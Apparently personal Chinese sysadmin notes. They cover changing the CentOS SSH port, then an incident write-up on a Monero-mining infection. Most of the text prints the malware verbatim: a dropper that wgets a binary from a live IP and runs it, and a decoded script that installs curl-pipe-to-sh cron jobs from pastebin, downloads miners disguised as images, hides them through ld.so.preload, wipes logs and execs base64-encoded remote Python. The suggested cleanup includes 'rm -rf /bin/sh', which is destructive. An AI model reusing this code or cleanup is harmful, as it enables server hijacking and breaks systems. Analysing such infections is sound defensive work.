web sec / ssd / sshd

s

Centos 8 SSH服务修改服务端口方案

CentOS7修改SSH端口

https://www.cnblogs.com/heqiuyong/p/11072829.html

一、修改ssh配置文件sshd_config
[root@bogon ~]# vi /etc/ssh/sshd_config

#Port 22
Port 2020

二、防火墙放行
[root@bogon ~]# firewall-cmd --zone=public --add-port=2020/tcp --permanent
[root@bogon ~]# firewall-cmd --reload
三、向SELinux中添加修改的SSH端口
先安装SELinux的管理工具 semanage (如果已经安装了就直接到下一步) ：
[root@bogon ~]# yum provides semanage
安装运行semanage所需依赖工具包 policycoreutils-python：
[root@bogon ~]# yum -y install policycoreutils-python
查询当前 ssh 服务端口：
[root@bogon ~]# semanage port -l | grep ssh
向 SELinux 中添加 ssh 端口：
[root@bogon ~]# semanage port -a -t ssh_port_t -p tcp 2020
重启 ssh 服务：
[root@bogon ~]# systemctl restart sshd.service
测试成功后，把22端口注释掉即可

[root@centos7-cfj ~]# ps -ef | grep ssh 

root 1713 1 0 Dec09 ? 00:00:00 /usr/sbin/sshd -D
root 16732 1713 0 09:13 ? 00:00:00 sshd: root@pts/0
root 16805 16752 0 09:13 pts/0 00:00:00 grep --color=auto ssh
test 29984 29855 0 Dec12 ? 00:00:03 /usr/bin/ssh-agent /bin/sh -c exec -l /bin/bash -c "env GNOME_SHELL_SESSION_MODE=classic gnome-session --session gnome-classic"

[root@papapa.com ~]# ps -ef | grep ssh

root 1820 1 0 Nov23 ? 00:00:00 /usr/sbin/sshd
root 15363 1820 0 11:33 ? 00:00:00 sshd: root@pts/0
root 15444 15408 0 11:33 pts/0 00:00:00 grep --color=auto ssh

挖矿病毒 qW3xT.2 最终解决方案

https://www.cnblogs.com/x_wukong/p/9861266.html

-rwxrwxrwx. 1 test test     258 Dec 16 03:38 we.sh

[test@centos8-xjyy-cellar ~]$ vim /home/test/we.sh 

cd /tmp
wget http://37.46.150.184/high/config.json; chmod 777 *
wget http://37.46.150.184/high/SHA256SUMS; chmod 777 *
wget http://37.46.150.184/high/iman; chmod 777 *
chmod 777 *; ./iman
echo qqbang
pkill cnrig
pkill ffmpeg
pkill xmrig
pkill fri
pkill node

挖矿病毒 qW3xT.2 最终解决方案

https://blog.csdn.net/hgx13467479678/article/details/82347473

https://www.cnblogs.com/x_wukong/p/9861266.html

1，cpu 100%, 用top 查看cpu100

2,删掉此进程 cpu还是 100%

3，估计是进程被隐藏了

4，定时任务多了一个执行任务

5：打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容

6：打开 https://pastebin.com/raw/uuYVPLXd  ，发现是一个Base64编码字符串，

7：用Base64解码此内容得到如下脚本内容

#!/bin/bash

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills() {

pkill -f sourplum

pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg

rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius

rm -rf /tmp/*index_bak*

rm -rf /tmp/*httpd.conf*

rm -rf /tmp/*httpd.conf

rm -rf /tmp/a7b104c270

ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9

pkill -f biosetjenkins

pkill -f AnXqV.yam

pkill -f xmrigDaemon

pkill -f xmrigMiner

pkill -f xmrig

pkill -f Loopback

pkill -f apaceha

pkill -f cryptonight

pkill -f stratum

pkill -f mixnerdx

pkill -f performedl

pkill -f JnKihGjn

pkill -f irqba2anc1

pkill -f irqba5xnc1

pkill -f irqbnc1

pkill -f ir29xc1

pkill -f conns

pkill -f irqbalance

pkill -f crypto-pool

pkill -f minexmr

pkill -f XJnRj

pkill -f NXLAi

pkill -f BI5zj

pkill -f askdljlqw

pkill -f minerd

pkill -f minergate

pkill -f Guard.sh

pkill -f ysaydh

pkill -f bonns

pkill -f donns

pkill -f kxjd

pkill -f Duck.sh

pkill -f bonn.sh

pkill -f conn.sh

pkill -f kworker34

pkill -f kw.sh

pkill -f pro.sh

pkill -f polkitd

pkill -f acpid

pkill -f icb5o

pkill -f nopxi

pkill -f irqbalanc1

pkill -f minerd

pkill -f i586

pkill -f gddr

pkill -f mstxmr

pkill -f ddg.2011

pkill -f wnTKYg

pkill -f deamon

pkill -f disk_genius

pkill -f sourplum

pkill -f bashx

pkill -f bashg

pkill -f bashe

pkill -f bashf

pkill -f bashh

pkill -f XbashY

pkill -f libapache

rm -rf /tmp/httpd.conf

rm -rf /tmp/conn

rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache

rm -rf /tmp/conns

rm -f /tmp/irq.sh

rm -f /tmp/irqbalanc1

rm -f /tmp/irq

rm -f /tmp/kworkerds /bin/kworkerds /bin/config.json

netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

netstat -anp | grep 5.196.225.222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

y=$(ps aux | grep -v grep | grep kworkerds | wc -l )

if [ ${y} -eq 0 ];then

netstat -anp | grep 13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

fi

}

function system() {

if [ ! -f "/bin/httpdns" ]; then

curl -fsSL https://pastebin.com/raw/698D7kZU -o /bin/httpdns && chmod 755 /bin/httpdns

if [ ! -f "/bin/httpdns" ]; then

wget  https://pastebin.com/raw/698D7kZU -O /bin/httpdns && chmod 755 /bin/httpdns

fi

sed -i '$d' /etc/crontab && echo -e "* */6 * * * root /bin/sh /bin/httpdns" >> /etc/crontab

fi

}

function top() {

if [ ! -f "/usr/local/lib/libntp.so" ]; then

curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so

if [ ! -f "/usr/local/lib/libntp.so" ]; then

wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so

fi

fi

if [ ! -f "/etc/ld.so.preload" ]; then

echo /usr/local/lib/libntp.so > /etc/ld.so.preload

else

sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload

fi

touch -acmr /bin/sh /etc/ld.so.preload

touch -acmr /bin/sh /usr/local/lib/libjdk.so

touch -acmr /bin/sh /usr/local/lib/libntp.so

echo 0>/var/spool/mail/root

echo 0>/var/log/wtmp

echo 0>/var/log/secure

echo 0>/var/log/cron

}

function python() {

nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &

touch /tmp/.tmpa

}

function echocron() {

echo -e "*/10 * * * * root /bin/chmod 755 /usr/bin/curl && /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh ##" > /etc/cron.d/root

echo -e "*/30 * * * *        /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh ##" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo -e "* */10 * * *        /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh ##" > /var/spool/cron/crontabs/root

touch -acmr /bin/sh /etc/cron.d/root

touch -acmr /bin/sh /var/spool/cron/crontabs

touch -acmr /bin/sh /var/spool/cron/root

touch -acmr /bin/sh /var/spool/cron/crontabs/root

}

function downloadrun() {

ps=$(netstat -anp | grep 13531 | wc -l)

if [ ${ps} -eq 0 ];then

if [ ! -f "/tmp/kworkerds" ]; then

curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds

if [ ! -f "/tmp/kworkerds" ]; then

wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod +x /tmp/kworkerds

fi

nohup /tmp/kworkerds >/dev/null 2>&1 &

else

nohup /tmp/kworkerds >/dev/null 2>&1 &

fi

fi

}

function downloadrunxm() {

pm=$(netstat -anp | grep 13531 | wc -l)

if [ ${pm} -eq 0 ];then

if [ ! -f "/bin/config.json" ]; then

curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod +x /bin/config.json

if [ ! -f "/bin/config.json" ]; then

wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod +x /bin/config.json

fi

fi

if [ ! -f "/bin/kworkerds" ]; then

curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod +x /bin/kworkerds

if [ ! -f "/bin/kworkerds" ]; then

wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod +x /bin/kworkerds

fi

nohup /bin/kworkerds >/dev/null 2>&1 &

else

nohup /bin/kworkerds >/dev/null 2>&1 &

fi

fi

}

update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/C4ZhQFrH )

if [ ${update}x = "update"x ];then

rm -rf /tmp/lock* /bin/kworkerds /bin/config.json /tmp/kworkerds /root/kworkerds

echocron

else

if [ ! -f "/tmp/.tmpa" ]; then

rm -rf /tmp/.tmp

python

fi

kills

downloadrun

echocron

system

top

sleep 10

port=$(netstat -anp | grep 13531 | wc -l)

if [ ${port} -eq 0 ];then

downloadrunxm

fi

fi

#

#

8：根据此脚本最终解决方案

A:先把定时任务删除掉

rm -rf /etc/cron.d/root

rm -rf /var/spool/cron/crontabs

rm -rf /bin/sh /var/spool/cron/root

B:删掉重启系统后执行脚本

rm -rf /bin/httpdns

C：删掉挖矿执行脚本

 rm -rf /tmp/kworkerds

D: 删除修top显示命令的脚本 （导致top查询不处理此挖矿进程）

rm -rf /usr/local/lib/libntp.so

E:删除python执行文件

rm -rf /tmp/.tmpa

F: 再用Top命令，就可以找出此耗cpu进程

7：kill 掉此进程

9：修改redis 密码，最好修改bind 为127.0.0.1

end